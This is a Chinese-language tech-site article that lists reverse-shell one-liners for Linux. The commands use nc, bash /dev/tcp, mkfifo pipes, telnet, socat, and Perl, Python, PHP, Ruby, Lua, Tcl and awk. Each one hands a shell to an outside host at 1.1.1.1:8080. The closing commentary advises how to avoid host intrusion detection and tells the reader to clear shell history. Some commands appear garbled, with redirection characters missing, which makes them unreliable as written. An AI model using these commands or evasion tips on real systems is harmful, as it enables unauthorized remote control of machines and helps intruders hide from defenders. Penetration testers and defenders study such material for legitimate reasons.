文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

Linux下内网反弹的方法是什么

2023-06-27 11:00

关注

这篇文章主要介绍“Linux下内网反弹的方法是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“Linux下内网反弹的方法是什么”文章能帮助大家解决问题。

Linux下内网反弹的方法是什么

反弹技巧总结:

1、NC反弹

Nc 1.1.1.1 8080 -e /bin/bash

2、Bash-socket反弹

/bin/bash -i > /dev/tcp/1.1.1.1/8080 0&1

3、Shell-socket反弹

a) exec 2>&0;0exec 196/dev/tcp/1.1.1.1/8080;  sh &196 2>&196  b) exec 5/dev/tcp/1.1.1.1/8080  cat while read line; do $line 2>&5 >&5; done[分两句执行]

4、文件管道-nc/telnet反弹

a) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 8080 >/tmp/fb) rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/bash 0/backpipe | nc 1.1.1.1 8080 1>/tmp/backpipec) rm /tmp/backpipe;mknod /tmp/backpipe p && telnet 1.1.1.1 8080 0/backpipe | /bin/bash 1>/tmp/backpipe

5、Bash-telnet反弹

telnet 1.1.1.1 8080 | /bin/bash | telnet 1.1.1.1 9090 [另一个端口]

6、Socat反弹

socat tcp-connect:1.1.1.1:8080 exec:"bash -li",pty,stderr,setsid,sigint,sane

7、脚本反弹

a) Perl反弹1) perl -e 'use Socket;$i="1.1.1.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'2) perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"1.1.1.1:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while;'b) Python反弹python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8080));os.dup2(s.fileno(),0);  os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'c) PHP反弹php -r '$sock=fsockopen("1.1.1.1",8080);exec("/bin/sh -i &3 2>&3");'d) ruby反弹ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",8080).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'2) ruby -rsocket -e 'exit if fork;c=TCPSocket.new("1.1.1.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'e) lua反弹lua -e "require('socket');require('os');t=socket.tcp();t:connect('1.1.1.1','8080');os.execute('/bin/sh -i &3 2>&3');"f) tcl反弹echo 'set s [socket 1.1.1.1 8080];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]}  { puts $s $r };  flush $s; };  close $s;' | tclshg) awk反弹awk 'BEGIN {s = "/inet/tcp/0/1.1.1.1/8080";while(42) { do{ printf "shell>" |& s;  s |& getline c;  if(c){ while ((c |& getline) > 0) print $0 |& s;close(c); } }  while(c != "exit")  close(s); }}' /dev/null

8、二进制程序反弹

Socket程序+命令执行,详见metasploit。

杂谈

市面上反弹shell的脚本和程序非常多,拿metasploit来说,可以生产上百种shell,但解码以后无非以上几种,有趣的时候metasploit生成的无论是脚本反弹程序还是二进制反弹程序多数都是自己实现了system_call,而不是调用系统bash或命令之类,看来做的还是很良心的。

值得一提的是,由于大型甲方公司都会有HIDS防护,目前已知的HIDS,要么修改了bash,要么劫持glibc,要么修改系统底层(这种可能性较低,出问题的几率大)。

当你觉得可以反弹shell的时候一定要提前识别好环境,不然执行了一个bash –i 或nc ,很有可能直接被hids一波带走。

比较推荐使用shell内置反弹或脚本类的反弹shell程序,一般的hids不会记录,非常不建议调用系统bash命令产生反弹,起码.bash_history会妥妥把你出卖掉。

内网shell反弹无论在渗透还是在反渗透中都是一个绕过不开的话题,关于反弹shell,其中有几个有趣的问题:

\1. 反弹shell的理解:

内网shell反弹的本质是与公网服务器建立连接,并能将公网服务器传输过来的命令执行,并将结果返回,因此反弹shell涉及两个过程网络建立+命令执行,这两个过程都是衡量反弹功能的标准,网络建立要求复杂加密(如msf: meterpreter_reverse_https等),命令执行则要求尽可能绕开hids和相关记录。

交互式shell:

交互式shell是shell最常见的一种,交互式shell区别非交互式shell最大的就是加载了环境变量,交互式shell的使用和在终端terminal中几乎一致。一般来说,远程命令执行反弹出来仅仅是实现了一个非交互式shell。从非交互式shell升级到交互式shell,一个最简单的方式就是用python脚本 pty.spawn(“/bin/bash”)

\3. 交互式shell在实际渗透过程中未必比非交互式shell好,因为有经验的甲方都会对环境变量、shell终端加载文件如.bashrc、bash_profile等进行安全处理,直接提升到交互式shell,触发HIDS告警的可能性较高(当然并非绝对)。

(Ps:如果你使用别人的工具,反弹了shell,却不清楚是不是交互式shell,一个简单的方法就是执行history和set命令,如果都有正常返回,那你就要当心了,你可能获取了一个交互式shell,尽快清除history吧。)

关于“Linux下内网反弹的方法是什么”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注编程网行业资讯频道,小编每天都会为大家更新不同的知识点。

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-人工智能
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯